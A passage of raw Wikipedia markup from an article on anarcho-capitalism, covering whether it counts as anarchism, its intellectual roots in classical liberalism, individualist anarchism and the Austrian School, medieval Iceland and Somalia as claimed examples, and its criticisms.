Many anarchists strongly argue that anarcho-capitalism is not a form of anarchism, since they believe capitalism to be inherently authoritarian. [[Joe Peacott]] has explicitly stated that individualist anarchism is anti-capitalist, and contrasts it to anarcho-capitalism.&lt;ref&gt;[[Joe Peacott|Peacott, Joe]] (2003), [http://www.libertarian.co.uk/lapubs/econn/econn097.htm] Libertarian Alliance ISBN 1856375641&lt;/ref&gt; Individualist anarchist Daniel Burton says that anarcho-capitalism is a &quot;type of individualist anarchism&quot;, but that most individualists are class-war anti-capitalists&lt;ref&gt;[http://www.spaz.org/~dan/individualist-anarchist/ac-vs-ia.html ''Individualist anarchists vs. Anarcho-capitalism'']&lt;/ref&gt;. However, many individualists do not see their philosophy as a &quot;class war&quot; but a war against government repression of ''individual'' liberty.{{fact}} Murray Rothbard argues that an &quot;anarchist society [is] one where there is no legal possibility for coercive aggression against the person or property of any individual.&quot;  Whether anarcho-capitalism is a true form of anarchism may depend on the meaning of the words &quot;anarchism&quot; and &quot;capitalism&quot;.

Adherents of the traditional schools of anarchism reject the term &quot;anarcho-capitalism&quot;. They oppose both the [[anti-statist|state]] and [[anti-capitalist|capitalism]] as coercive institutions, since &quot;αναρχία&quot; in Greek means &quot;without rulers&quot;. Conversely, many, including capitalist [[libertarians]] and anarcho-capitalists, use the term &quot;anarchism&quot; with a definition that simply means &quot;without the State&quot;.

Also, there is some terminological disagreement regarding &quot;capitalism&quot;. &lt;!-- *** SOURCE GIVEN IS IRRELEVANT, DOES NOT MATCH CLAIM *** According to individualist anarchist Larry Gambone, when the traditional anarchists use the term &quot;capitalism&quot;, they are referring to those who have &quot;gained wealth from the use of governmental power or from privileges granted by government.&quot;&lt;ref&gt;Gambone, Larry (1998) [http://www.spunk.org/texts/pubs/tl/sp001872.html &quot;What is Anarchism?&quot;] ''Total Liberty'' Volume 1 Number 3 Autumn 1998, Retrieved [[10 August]] [[2005]]&lt;/ref&gt; --&gt; According to Wendy McElroy, when traditional individualist anarchists referred to &quot;capitalism&quot; they &quot;meant ''state capitalism'', the alliance of government and business.&quot;&lt;ref&gt;McElroy, Wendy (1999) [http://www.mises.org/fullstory.aspx?control=348&amp;id=74 Anarchism: Two Kinds]&lt;/ref&gt; However, modern individualist anarchists like Gambone believe that capitalism, as they define it, requires the presence of the state in order to function.  Therefore, for the individualist anarchist, the concept of rejecting &quot;state capitalism&quot; would be equivalent to rejection of all capitalism.

Hence, anarcho-capitalists depart from individualist anarchists on what constitutes concepts such as the &quot;state&quot;, &quot;capitalism&quot;, and a &quot;free market&quot;.  Jamal Hannah says that most anarchists and capitalists agree with the individualists in believing that capitalist economics require a state to defend private wealth.&lt;ref&gt;''Anarchy list&quot;, Hannah, Jamal (Dec 1999)&lt;/ref&gt; Despite disagreeing on whether or not anti-state capitalism is a coherent concept, most anarchists oppose a state and support private defence of wealth.

Morever, the common definition of capitalism has changed over time. Anarchist movements of early origin operated with a definition unlike contemporary definitions. For example, the 1909 [[Century Dictionary]] defined capitalism as &quot;1. The state of having capital or property; possession of capital. 2. The concentration or massing of capital in the hands of a few; also, the power or influence of large or combined capital.&quot; In contrast, the contemporary [[Merriam-Webster]] Dictionary (unabridged) refers to capitalism as &quot;an economic system characterized by private or corporation ownership of capital goods, by investments that are determined by private decision rather than by state control, and by prices, production, and the distribution of goods that are determined mainly in a free market.&quot;

According to [http://www.anarchy.no/ai.html The Anarchist International], capitalism is an economic [[plutocracy]] that includes its own [[hierarchy]]. They place anarcho-capitalism outside of the anarchist movement, and into the classical liberal tradition &quot;[[Plutarchy]] without statism = liberalism.&quot;  Some, while accepting that anarcho-capitalism is a radical form of liberalism, question the coherence of such a statement, holding that if [[socialism]] and [[communism]] can have anarchist forms, then liberalism can as well.&lt;ref&gt;Garner, Richard A. (2002) [http://www.againstpolitics.com/market_anarchism/no_bogus_anarchy.htm On Peter Sabatini's &quot;Libertarianism: Bogus Anarchy&quot;] ''Ifeminists Newsletter'' [[May 14]] [[2002]]&lt;/ref&gt; Often, anarchist individualism is regarded as a form of socialism (for example, by individualist anarchists such as E. Armand&lt;ref&gt;Armand, E. (1907), Anarchist Individualism as Life and Activity&lt;/ref&gt;). However, American individualist anarchism is sometimes regarded as a form of &quot;liberal-anarchism.&quot;&lt;ref&gt;Weisbord, Albert (1937) [http://www.weisbord.org/conquest10.htm ''American Liberal-Anarchism''] from ''The Conquest of Power'' (1937)&lt;/ref&gt;&lt;ref&gt;http://www.bkmarcus.com/blog/2004/11/liberal-anarchism.html&lt;/ref&gt;&lt;ref&gt;http://homepage.mac.com/dmhart/ComteDunoyer/Ch1fn.html&lt;/ref&gt; Also, as anarchists by definition favor voluntary interaction, anarcho-capitalists and their opponents disagree on whether certain actions are voluntary (see sidebar for definitions).

Some anarchists espouse a form of [[labor theory of value]], which they put forth as one reason that [[profit]], [[Economic rent|rent]], and [[wage labour]] are [[exploitation|exploitive]]. While classical capitalists such as [[Adam Smith]] also accepted the labor theory of value, most modern economists, including anarcho-capitalists, argue that value is subjective and adhere to [[marginalism]].

===&quot;Left&quot; and &quot;Right&quot; anarchism===
The divide between anarcho-capitalism and traditional anarchism has been termed as [[left anarchism]] versus [[right anarchism]] by some individuals, such as [[Ulrike Heider]], who placed anarcho-capitalism on the far right.&lt;ref&gt;Heider, Ulrike (1994) [http://www.noblesoul.com/orc/books/other/anarchism.html ''Anarchism: Left, Right, and Green''] City Lights Books ISBN 0872862895 Retrieved [[19 May]] [[2005]]&lt;/ref&gt; Most contemporary anarcho-capitalists reject the standard [[Left-Right politics|linear model of ideologies]] in favor of a multidimensional model with a liberty-authority dimension, though some of their opponents maintain that anarchism itself is a left-wing ideology.

==History and influences==
[[Image:molinari.jpg|thumb|right|[[Gustave de Molinari]] (1819–1912)]]

===Liberalism===
{{main|Liberalism}}

Anarcho-capitalist philosophy has been influenced by many sources.  The primary influence with the longest history is classical liberalism.  Classical liberals have had two main themes since [[John Locke]] first expounded the philosophy: the liberty of man, and limitations of state power.  The liberty of man was expressed in terms of [[natural rights]], while limiting the [[state]] was based (for Locke) on a [[consent theory]].  While Locke saw the state as evolving from society via a [[social contract]], later, more radical liberals saw a fundamental schism between society, the &quot;natural&quot; voluntary interactions of men, and state, the institution of brute force.

In the 18th century, liberal revolutionaries in Britain and America had opposed [[statism]] without grounding it in theory, while some French economists had theorized it without endorsing it. In the 19th century, classical liberals led the attack against statism. One notable was [[Frederic Bastiat]] (''The Law''),  who wrote, &quot;The state is the great fiction by which everybody seeks to live at the expense of everybody else.&quot; [[Henry David Thoreau]]'s liberalism might be considered evolutionary anarchism, as he wrote, &quot;I heartily accept the motto, 'That government is best which governs least'; and I should like to see it acted up to more rapidly and systematically. Carried out, it finally amounts to this, which also I believe, 'That government is best which governs not at all'; and when men are prepared for it, that will be the kind of government which they will have.&quot;&lt;ref&gt;Thoreau, Henry David (1849) [http://www.cs.indiana.edu/statecraft/civ.dis.html Civil Disobedience]&lt;/ref&gt;

One of the first liberals to discuss the possibility of privatizing protection of individual liberty and property was France's [[Jakob Mauvillon]] in the 18th century. Later, in the 1840s, [[Julius Faucher]] and [[Gustave de Molinari]] advocated the same. Molinari, in his essay ''The Production of Security'', argued, &quot;No government should have the right to prevent another government from going into competition with it, or to require consumers of security to come exclusively to it for this commodity.&quot;  Molinari and this new type of anti-state liberal grounded their reasoning on liberal ideals and classical economics. Historian [[Ralph Raico]] asserts what that these liberal philosophers &quot;had come up with was a form of individualist anarchism, or, as it would be called today, anarcho-capitalism or market anarchism.&quot;&lt;ref&gt;Raico, Ralph (2004) [http://www.mises.org/story/1787 ''Authentic German Liberalism of the 19th Century''] Ecole Polytechnique, Centre de Recherce en Epistemologie Appliquee, Unité associée au CNRS&lt;/ref&gt; Unlike the liberalism of Locke, which saw the state as evolving from society, the anti-state liberals saw a fundamental conflict between the voluntary interactions of people — society — and the institutions of force — the State.  This ''society versus state'' idea was expressed in various ways: natural society vs. artificial society, liberty vs. authority, society of contract vs. society of authority, and industrial society vs. militant society, just to name a few.&lt;ref name=Molinari-1849/&gt; The anti-state liberal tradition in Europe and the United States continued after Molinari in the early writings of [[Herbert Spencer]], as well as in thinkers such as [[Paul Émile de Puydt]] and [[Auberon Herbert]].

Later, in the early 20th century, the mantle of anti-state liberalism was taken by the &quot;[[Old Right]]&quot;.  These were minarchist, antiwar, anti-imperialist, and (later) anti-[[New Deal]]ers.  Some of the most notable members of the Old Right were [[Albert Jay Nock]], [[Rose Wilder Lane]], [[Isabel Paterson]], [[Frank Chodorov]], [[Garet Garrett]], and [[H. L. Mencken]].  In the 1950s, the new &quot;fusion conservatism&quot;, also called &quot;[[cold war]] conservatism&quot;, took hold of the right wing in the U.S., stressing anti-communism.  This induced the libertarian Old Right to split off from the right, and seek alliances with the (now left-wing) antiwar movement, and to start specifically libertarian organizations such as the (U.S.) Libertarian Party.

===American individualist anarchism===
[[Image:LysanderSpooner.jpg|thumb|left|[[Lysander Spooner]] (1808–87)]]
:''Main articles: [[American individualist anarchism]], [[American individualist anarchism and anarcho-capitalism]]''{{Anarchism}}

Anarcho-capitalism is influenced by the work of the 19th-century American individualist anarchists. Rothbard sought to meld the 19th-century individualist theory with the principles of Austrian economics: &quot;There is, in the body of thought known as 'Austrian economics', a scientific explanation of the workings of the free market (and of the consequences of government intervention in that market) which individualist anarchists could easily incorporate into their political and social Weltanschauung&quot; (''Egalitarianism''). The 19th-century individualist anarchists espoused a labor theory of value, while the anarcho-capitalists adhere to a subjective theory, leading to differences over the legitimacy of [[profit]].  Anarchist historian Peter Marshall believes that anarcho-capitalists selectively interpret individualist anarchists texts, overlooking egalitarian implications. &lt;ref&gt;http://dwardmac.pitzer.edu/dward/newrightanarchocap.html&lt;/ref&gt; However, Marshall may have overlooked that the most noted individualist anarchist Benjamin Tucker explicitly supports the right to inequality in wealth and upholds it as the natural result of liberty&lt;ref&gt;[http://flag.blackened.net/daver/anarchism/tucker/tucker29.html ''Economic Rent'']&lt;/ref&gt;.  Tucker did, although, oppose vast concentrations of wealth which he believed were made possible by government intervention which protected monopoly. He believed the most dangerous intervention was the protection of a &quot;banking monopoly&quot; which concentrated capital in the hands of the privileged elite. Though, he also argued that harmful monopolies that were created by government intervention could be maintained in the absence of government protection because of the accumulation of great wealth (see [[predatory pricing]]). Anarcho-capitalists also oppose governmental restrictions on banking. They, like all Austrian economists, believe that monopoly can only come about through government intervention. Most modern individualists, following in the footsteps of historical counterparts, reject capitalism in the sense of government-backed privilege for capital.  Individualists anarchists have long argued that monopoly on credit and land interferes with the functioning of a free market economy. Although anarcho-capitalists disagree on the critical topic of [[profit]], both schools of thought agree on other issues. Of particular importance to anarcho-capitalists and the individualists are the ideas of private property, &quot;sovereignty of the individual&quot;, a market economy, and the opposition to [[collectivism]]. In addition, like the individualists, anarcho-capitalists believe that land may be originally appropriated by, and only by, occupation or use; however, most traditional individualists believe it must ''continually'' be in use to retain title.  Notable 19th-century American individualist anarchists include [[Lysander Spooner]] and [[Benjamin Tucker]].

Lysander Spooner's articles, such as [http://www.lysanderspooner.org/notreason.htm ''No Treason''] and the [http://www.lysanderspooner.org/LetterToBayard.htm ''Letter to Thomas Bayard''], were widely reprinted in early anarcho-capitalist journals, and his ideas — especially his individualist critique of the state and his defense of the right to ignore or withdraw from it — were often cited by anarcho-capitalists. Spooner was staunchly opposed to government interference in economic matters, and supported a &quot;right to acquire property [...] as one of the natural, inherent, inalienable rights of men [...] one which government has no power to infringe [...]&quot;.&lt;ref&gt;Spooner, Lysander (1843) [http://www.lysanderspooner.org/constitutionallaw.htm ''Constitutional law, Relative to Credit, Currency, and Banking''] Retrieved [[19 May]] [[2005]]&lt;/ref&gt; Like all anarchists, he opposed government regulation: &quot;All legislative restraints upon the rate of interest are arbitrary and tyrannical restraints upon a man's natural capacity amid natural right to hire capital, upon which to bestow his labor.&quot;&lt;ref&gt;Spooner, Lysander (1846) [http://www.lysanderspooner.org/Poverty.htm ''Poverty: Its Illegal Causes and Cure''] Retrieved [[19 May]] [[2005]]&lt;/ref&gt; He was particularly vocal, however, in opposing any collusion between banks and government, and argued that the monopolistic privileges that the government granted to a few bankers were the source of many social and economic ills.

Benjamin Tucker supported private ownership of the product of labor, which he believed entailed a rejection of both collective and capitalist ownership.  He was a staunch advocate of the [[mutualist]] form of recompensing labor, which holds to &quot;[[Cost the limit of price]]&quot;.  He also advocated a free [[market economy]], which he believed was prohibited by capitalist monopoly of credit and land backed by the state.  He believed that anyone who wishes should be allowed to engage in the banking business and issue their private currency without needing special permission from government, and that unused land should not be restricted to those who wished to use it.  He believed that if these and other coercive actions were eliminated that profit in economic transactions would be rendered nearly impossible because of increased availability of capital to all individuals and resulting increased competition in business. Accepting the [[labor theory of value]] and the resulting &quot;cost principle&quot; as a premise marks one of mutualism's main conflicts with anarcho-capitalism. Although his self-identification as a socialist and sympathy for the [[labor movement]] led to hostility from some early anarcho-capitalists such as [[Robert LeFevre]], others, such as Murray Rothbard, embraced his critique of the state and claimed that he defined his &quot;socialism&quot; not in terms of opposition to a free market or private property, but in opposition to government privileges for business.  However, individualists argue that capitalism cannot be maintained in the absence of the state.  For example, Kevin Carson argues, &quot;As a mutualist anarchist, I believe that expropriation of surplus value — i.e., capitalism — cannot occur without state coercion to maintain the privilege of usurer, landlord, and capitalist. It was for this reason that the free market mutualist Benjamin Tucker — from whom right-libertarians selectively borrow — regarded himself as a libertarian socialist.&quot;  Tucker characterized the economic demands of Proudhon and Warren by saying, &quot;though opposed to socializing the ownership of capital, they aimed nevertheless to socialize its effects by making its use beneficial to all instead of a means of impoverishing the many to enrich the few [...] Absolute Free Trade; free trade at home, as well as with foreign countries; the logical carrying out of the Manchester doctrine; ''laissez-faire'' the universal rule.&quot;&lt;ref&gt;[[Benjamin Tucker|Tucker, Benjamin]] (1888) [http://praxeology.net/BT-SSA.htm ''State Socialism and Anarchism: How Far They Agree, and Wherein They Differ''] Liberty 5.16, no. 120 ([[10 March]] [[1888]]), pp. 2-3.Retrieved [[20 May]] [[2005]]&lt;/ref&gt;

Anarcho-capitalism is sometimes viewed by those sympathetic to it as a form of individualist anarchism, despite the fact that the original individualist anarchists universally rejected capitalism (i.e., they opposed profit, which is seen as a fundamental characteristic of capitalism).  Organizations such as mutualist.org remain dedicated to &quot;free market anticapitalism,&quot; while individualists like [[Larry Gambone]] explicitly state that all capitalism is state capitalism.  Nonetheless, anarcho-capitalist Wendy McElroy considers herself to be an individualist, while admitting that the original individualists were universally anticapitalist.  In addition, historian Guglielmo Piombini refers anarcho-capitalism as a form of individualist anarchism, though he offers no support for this statement.  Collectivist anarchist author Iain McKay and historian Peter Sabatini both argue that anarcho-capitalism is fundamentally opposed to individualist anarchism.

The similarity to anarcho-capitalism in regard to private defense of liberty and property is probably best seen in a quote by 19th-century individualist anarchist [[Victor Yarros]]: 

&lt;blockquote&gt;Anarchism means no government, but it does not mean no laws and no coercion. This may seem paradoxical, but the paradox vanishes when the Anarchist definition of government is kept in view. Anarchists oppose government, not because they disbelieve in punishment of crime and resistance to aggression, but because they disbelieve in compulsory protection. Protection and taxation without consent is itself invasion; hence Anarchism favors a system of voluntary taxation and protection.&lt;ref&gt;Yarros, Victor ''Our Revolution; Essays and Interpretations'' p.80&lt;/ref&gt;&lt;/blockquote&gt;

===The Austrian School ===
{{main|Austrian School}}
[[Image:Murray Rothbard Smile.JPG|thumb|right| [[Murray Rothbard]] (1926–95)]]
The Austrian School of economics was founded with the publication of [[Carl Menger]]'s 1871 book ''[[Principles of Economics]]''.  Members of this school approach economics as an ''a priori'' system like logic or mathematics, rather than as an empirical science like geology.  It attempts to discover axioms of human action (called &quot;[[praxeology]]&quot; in the Austrian tradition) and make deductions therefrom.  Some of these praxeological axioms are:

:*Humans act purposefully.
:*Humans prefer more of a good to less.
:*Humans prefer to receive a good sooner rather than later.
:*Each party to a trade benefits ''[[ex ante]]''.

These are macro-level generalizations, or [[heuristics]], which are true for the many, but not necessarily true for any particular person.

Even in the early days, Austrian economics was used as a theoretical weapon against socialism and statist socialist policy.  [[Eugen von Böhm-Bawerk]], a colleague of Menger, wrote one of the first critiques of socialism ever written in his treatise ''The Exploitation Theory of Socialism-Communism''.  Later, [[Friedrich Hayek]] wrote ''[[The Road to Serfdom]]'', asserting that a [[command economy]] destroys the information function of prices, and that authority over the economy leads to [[totalitarianism]].  Another very influential Austrian economist was [[Ludwig von Mises]], author of the praxeological work ''Human Action''.

Murray Rothbard, a student of Mises, is the man who attempted to meld Austrian economics with classical liberalism and individualist anarchism, and is credited with coining the term &quot;anarcho-capitalism&quot;.  He was probably the first to use &quot;libertarian&quot; in its current (U.S.) pro-capitalist sense.  He was a trained economist, but also knowledgeable in history and political philosophy.  When young, he considered himself part of the [[Old Right]], an anti-statist and anti-[[interventionist]] branch of the [[Republican Party (United States)|U.S. Republican]] party.  When interventionist [[cold warrior]]s of the ''[[National Review]]'', such as [[William Buckley]], gained influence in the Republican party in the 1950s, Rothbard quit that group and formed an alliance with [[left-wing]] [[antiwar]] groups.  Later, Rothbard was a founder of the U.S. Libertarian Party.  In the late 1950s, Rothbard was briefly involved with [[Ayn Rand]]'s [[objectivist philosophy|objectivism]] group, but later had a falling out.  Rothbard's books, such as ''[[Man, Economy, and State]]'', ''[[Power and Market]]'', ''The Ethics of Liberty'', and ''For a New Liberty'', are considered by some to be classics of natural law libertarian thought.

''See also:'' Roberta Modugno Crocetta: [http://www.mises.org/journals/scholar/Modugno.PDF The anarcho-capitalist political theory of Murray N. Rothbard in its historical and intellectual context]
&lt;!-- All this is not cited.
===Objectivism===
Though [[Ayn Rand]] was opposed to anarcho-capitalism, some anarcho-capitalist and libertarian followers, including Rothbard, see Ayn Rand as one of their most vocal and visible champions. Through her philosophy of [[objectivist philosophy|objectivism]], Rand firmly grounded laissez-faire capitalism on her ethical system of Reason, Self-interest, and Individualism. She, however, explicitly rejected the idea of competing private defense institutions. Some anarcho-capitalists derive much of their philosophical inspirations from Rand's arguments. Rand was adamant that the government did play a necessary and important role in society, that of policing the society, protecting individual rights, and stepping into an aggressor role only in retaliation, self-defense or defense of the country.
--&gt;

==Anarcho-capitalism in the real world==
[[Image:Law speaker.jpg|300px|right|thumb|[[19th-century]] interpretation of the [[Althing]] in the [[Icelandic Commonwealth]], which authors such as [[David Friedman]] and [[Roderick Long]] believe to have been a functioning anarcho-capitalist society.]] 
Anarcho-capitalism is largely theoretical, and even sympathetic critics say that it is unlikely ever to be more than a [[utopian]] ideal.  Despite this, some anarcho-capitalist philosophers point to actual societies to support their claim that stateless capitalism can function in practice.

===Medieval Iceland===
According to [[David Friedman]], &quot;[[Icelandic Commonwealth |Medieval Icelandic institutions]] have several peculiar and interesting characteristics; they might almost have been invented by a mad economist to test the lengths to which market systems could supplant government in its most fundamental functions.&quot;&lt;ref name=Friedman-79&gt;Friedman, David D. (1979) [http://www.daviddfriedman.com/Academic/Iceland/Iceland.html Private Creation and Enforcement of Law: A Historical Case], Retrieved [[12 August]] [[2005]]&lt;/ref&gt; He argues that the Icelandic Commonwealth between 930 and 1262 had some of the features of an anarcho-capitalist society--while there was a single legal system, enforcement of law was entirely private--and so provides some evidence of how such a society would function.  &quot;Even where the Icelandic legal system recognized an essentially &quot;public&quot; offense, it dealt with it by giving some individual (in some cases chosen by lot from those affected) the right to pursue the case and collect the resulting fine, thus fitting it into an essentially private system.&quot;&lt;ref name=Friedman-79/&gt;&lt;ref&gt;http://www.gettysburg.edu/academics/english/vikingstudies/jackson/researchdocument.html&lt;/ref&gt;

However, some disagree with this assessment, arguing that Medieval Iceland was a communal rather than individualist society - ''[p]eople of a communitarian nature... have reason to be attracted [to Medieval Iceland]... The economy barely knew the existence of markets. Social relations preceded economic relations. '' &lt;ref&gt;William Ian Miller, &quot;Bloodtaking and Peacemaking: Feud, Law and Society in Saga Iceland&quot;, p. 306&lt;/ref&gt; and that when a free market finally did arise, that it was the cause of the end of the republic - ''&quot;During the 12th century, wealth and power began to accumulate in the hands of a few chiefs, and by 1220, six prominent families ruled the entire country. It was the internecine power struggle among these families, shrewdly exploited by King Haakon IV of Norway, that finally brought the old republic to an end.&quot;'' &lt;ref&gt;Hallberg Hallmundsson, an article on Iceland in the &quot;Encyclopaedia Americana&quot;&lt;/ref&gt;

===Modern Somalia===
[[Image:Somalia_marketplace_2_DoD.JPG|300px|left|thumb|A marketplace in [[Somalia]], 1992, one year after the collapse of the government.  Somalia is cited by some anarcho-capitalists as an example how stateless capitalism is possible.]]
More recently, [[Somalia]] is cited by some as a real-world example of how a stateless capitalist economy and a legal system can develop organically. Since 1991, Somalia as a whole has had no functioning central government, and therefore no regulations or licensing requirements for businesses, and no taxes on businesses or individuals. One World Bank study reports that &quot;it may be easier than is commonly thought for basic systems of finance and some infrastructure services to function where government is extremely weak or absent.&quot;&lt;ref name=WorldBank-2004&gt;Nenova, Tatiana and Harford, Tim (2004) [http://rru.worldbank.org/Documents/PapersLinks/280-nenova-harford.pdf Anarchy and Invention (PDF)] Public Policy Journal Note Number 280, Retrieved [[12 August]] [[2005]]&lt;/ref&gt; Journalist Kevin Sites, after a recent trip to Somalia, reported: &quot;Somalia, though brutally poor, is a kind of libertarian's dream. Free enterprise flourishes, and vigorous commercial competition is the only form of regulation. Somalia has some of the best telecommunications in Africa, with a handful of companies ready to wire home or office and provide crystal-clear service, including international long distance, for about $10 a month.&quot;  One of the poorest countries in the world in 1991, Somalia remains a very poor country.  However, wealth distribution appears to be more uniform than in other African countries.  When extreme poverty was last measured in 1998 (percentage of individuals living on less than PPP$1 a day), it was faring better than wealthier West African and neighboring countries.&lt;ref name=WorldBank-2004/&gt;

In the absence of a state and business regulations the private sector has flourished. One business sector that is said to be doing well is telecommunications.  Abdullahi Mohammed Hussein of Telecom Somalia says &quot;The government post and telecoms company used to have a monopoly but after the regime was toppled, we were free to set up our own business&quot; ([http://news.bbc.co.uk/2/hi/africa/4020259.stm according to a BBC report]). Also, in 1989, before the collapse of the government, the national airline had only one airplane. Now there are approximately 15 airlines, over 60 aircraft, 6 international destinations, and more domestic routes. Electricity is now furnished by entrepreneurs, who have purchased generators and divided cities into manageable sectors (''[http://www.somalianarchy.com/viewtopic.php?t=16 photo]''). With the collapse of the central government, the educations system is now private and includes universities such as [[Mogadishu University]]. A World Bank study reports &quot;modest gains in education.&quot; As last measured in 2001, primary school enrollment, which stood at 17%, was nearly at prewar levels, and secondary school enrollment had been increasing since 1998. However, &quot;adult literacy is estimated to have declined from the already low level of 24% in 1989 to 17.1% in 2001&quot; ([http://www-wds.worldbank.org/servlet/WDSContentServer/WDSP/IB/2004/03/25/000112742_20040325090551/Rendered/PDF/282760Somalia0Country0reengagement0note.pdf ''WB study'']). A more recent 2003 study reported that the literacy rate had risen to 19% ([http://rru.worldbank.org/Documents/PapersLinks/280-nenova-harford.pdf ''WB study'']).  A statistic from 2000 indicated that only 21% of the population had access to safe drinking water at that time. The impact of collapse of the government and ensuing civil war on human development in Somalia has been profound, resulting in the collapse of political institutions, the destruction of social and economic infrastructure, and massive internal and external migrations.&quot;&lt;ref&gt;World Bank Advisory Committee for Somalia [http://www-wds.worldbank.org/servlet/WDSContentServer/WDSP/IB/2004/03/25/000112742_20040325090551/Rendered/PDF/282760Somalia0Country0reengagement0note.pdf Country Re-Engagement Note (pdf)] (2003), retrived [[4 November]] [[2005]]&lt;/ref&gt;

An essential element of anarcho-capitalist theory is that private businesses should protect individual liberty and property rather than tax-funded institutions. As such, the Somali situation falls short of being anarcho-capitalism as it is it is severely lacking in such options. Though some urban areas such as Mogadishu have private police and are relatively safe&lt;ref&gt;[http://www.netnomad.com/crigler.html ''Return to Somalia'']&lt;/ref&gt;, crime is rampant in other areas according to some [http://news.bbc.co.uk/1/hi/in_depth/africa/2004/somalia/default.stm news reports]. Businessmen in Mogadishu have organized to fund private police that patrol the city streets for petty crime&lt;ref&gt;[http://www.petermaass.com/core.cfm?p=1&amp;mag=51&amp;magtype=1 ''Ayn Rand Comes to Somalia'']&lt;/ref&gt;. There is a rudimentary legal system which has been called &quot;a free market for the supply, adjudication and enforcement of law.&quot;&lt;ref&gt;van Notten, Michael (2000) [http://www.liberalia.com/htm/mvn_stateless_somalis.htm From Nation-State To Stateless Nation: The Somali Experience], Retrieved [[12 August]] [[2005]]&lt;/ref&gt; It remains to be seen if private solutions develop to the point of providing high-quality security.

While most of what was Somalia is a stateless area, two internationally unrecognized democratic states exist in its north. These are [[Somaliland]] and [[Puntland]], which are ruled by governments. These regions lack the armed competition in the more anarchic south, and the destruction this causes. Their people are correspondingly more prosperous on average. This is seen by many as evidence that competition in security should not be allowed.

==Criticisms of anarcho-capitalism==
:''For critiques of libertarianism in general, see: [[Criticism of libertarianism]]''
:''For critiques of capitalism from an anarchist (libertarian socialist) perspective, see: [[Anarchism and capitalism]]''
:''For the spectrum of political ideologies in relation to capitalism see: [[Capitalism and related political ideologies]]''

Anarcho-capitalism is a radical development of liberalism.  Therefore, the same general arguments for and against [[liberalism]], [[laissez-faire capitalism]] and [[capitalism]] apply, excepting those points (such as the justice system) where anarcho-capitalism diverges from the classical liberal tradition.

===Practical questions=== 
Critics often assert that anarcho-capitalism will degenerate into [[plutocracy]] or [[feudalism]] in practice.  They argue that it is a rational economic decision for organizations with the ability to exert coercion (private police, security and military forces) to exploit groups with less power. In this kind of environment, [[piracy]], military [[imperialism]], and [[slavery]] can be very profitable.  Taken to its logical extreme, this argument assumes that allowing such &quot;security&quot; organizations to exert coercive power will inevitably lead to their becoming a ''de facto'' state.  

The anarcho-capitalist would respond that in the absence of what they call &quot;victim disarmament&quot; ([[gun control]]), such domination would be expensive even for the most powerful, who would instead prefer peaceful trade with all.  Skeptics often feel that anarcho-capitalists rely on &quot;market solutions&quot; to the point of ridiculousness.&lt;ref&gt;Chisari, Michael - &quot;Anarchy List&quot; [[5 October]] [[1999]]&lt;/ref&gt;

[[Image:Battle strike 1934.jpg|300px|thumb|right|Violence on a picket line. Critics of anarcho-capitalism argue that private ownership of capital and the pursuit of profit are exploitative, leading to class divisions and conflict.]]

[[Minarchism|Minarchist]] and [[statism|statist]] critics often argue that the [[free rider problem]] makes anarcho-capitalism (and, by extension, any anti-statist political system) fundamentally unworkable in modern societies. They typically argue that there are some vital goods or services — such as civil or military defense, management of common environmental resources, or the provision of [[public good]]s such as roads or lighthouses — that cannot be effectively delivered without the backing of a government exercising effective territorial control, and so that abolishing the state as anarcho-capitalists demand will either lead to catastrophe or to the eventual re-establishment of monopoly governments as a necessary means to solving the [[coordination problem]]s that the abolition of the state created.  One counterargument by free market economists, such as [[Alex Tabarrok]], emphasizes the private use of [[assurance contracts|dominant assurance contracts]]. Some anarcho-capitalists also contend that the &quot;problem&quot; of &quot;public goods&quot; is illusory and its invocation merely misunderstands the potential individual production of such goods.  Others, such as David Friedman, point out that problems of market failure are the exception in private markets but the norm in the [http://www.daviddfriedman.com/Academic/mps_iceland_talk/Iceland%20MP%20talk.htm political markets] that control state action.

[[Robert Nozick]] argued in ''Anarchy, State and Utopia'' that anarcho-capitalism would inevitably transform into a minarchist state, even without violating any of its own nonaggression principles, through the eventual emergence of a single locally dominant private defense and judicial agency that it is in everyone's interests to align with, because other agencies are unable to effectively compete against the advantages of the agency with majority coverage.  Therefore, he felt that, even to the extent that the anarcho-capitalist theory is correct, it results in an unstable system that would not endure in the real world.

===Moral questions===
Anarcho-capitalists consider a choice or action to be &quot;voluntary&quot;, in a moral sense, so long as that choice or action is not influenced by coercion or fraud perpetrated by another individual.  They also believe that maintaining private property claims is always defensive so long as that property was obtained in a way they believe to be legitimate.  Thus, so long as an employee and employer agree to terms, employment is regarded as voluntary regardless of the circumstances of property restriction surrounding it.  Some critics say this ignores constraints on action due to both human and nonhuman factors, such as the need for food and shelter, and active restriction of both used and unused resources by those enforcing property claims.  Thus, if a person requires employment in order to feed and house himself, it is said that the employer-employee relationship cannot be voluntary, because the employer restricts the use of resources from the employee in such a way that he cannot meet his needs.  This is essentially a semantic argument over the term &quot;voluntary&quot;.  Anarcho-capitalists simply do not use the term in that latter sense in their philosophy, believing that sense to be morally irrelevant. Other critics argue that employment is involuntary because the distributions of wealth that make it necessary for some individuals to serve others by way of contract are supported by the enforcement of coercive private property systems.  This is a deeper argument relating to [[distributive justice]].  Some of these critics appeal to an end-state theory of justice, while anarcho-capitalists (and [[propertarian]]s in general) appeal to an entitlement theory.  Other critics regard private property itself to either be an aggressive institution or a potentially aggressive one, rather than necessarily a defensive one, and thus reject claims that relationships based on unequal private property relations could be &quot;voluntary&quot;.

Critics also point out that anarcho-capitalist ethics do not entail any positive moral obligation to help others in need (see ''[[altruism]]'', the ethical doctrine).  Like other [[right libertarianism|right libertarians]], anarcho-capitalists may argue that no such moral obligation exists or argue that if a moral obligation to help others does exist that there is an overarching moral obligation to refrain from initiating coercion on individuals to enforce it. Anarcho-capitalists believe that helping others should be a matter of free personal choice, and do not recognize any form of social obligation arising from an individual's presence in a society.  They, like all right libertarians, believe in a distinction between negative and positive rights in which [[negative rights]] should be recognized as being legitimate, and [[positive rights]] rejected.  Critics often dismiss this stance as being unethical or selfish, or reject the legitimacy of the distinction between positive and negative rights. (Critics thereby redefine selfish to not include forcing other people to do what you want and disregarding the wishes of others.)

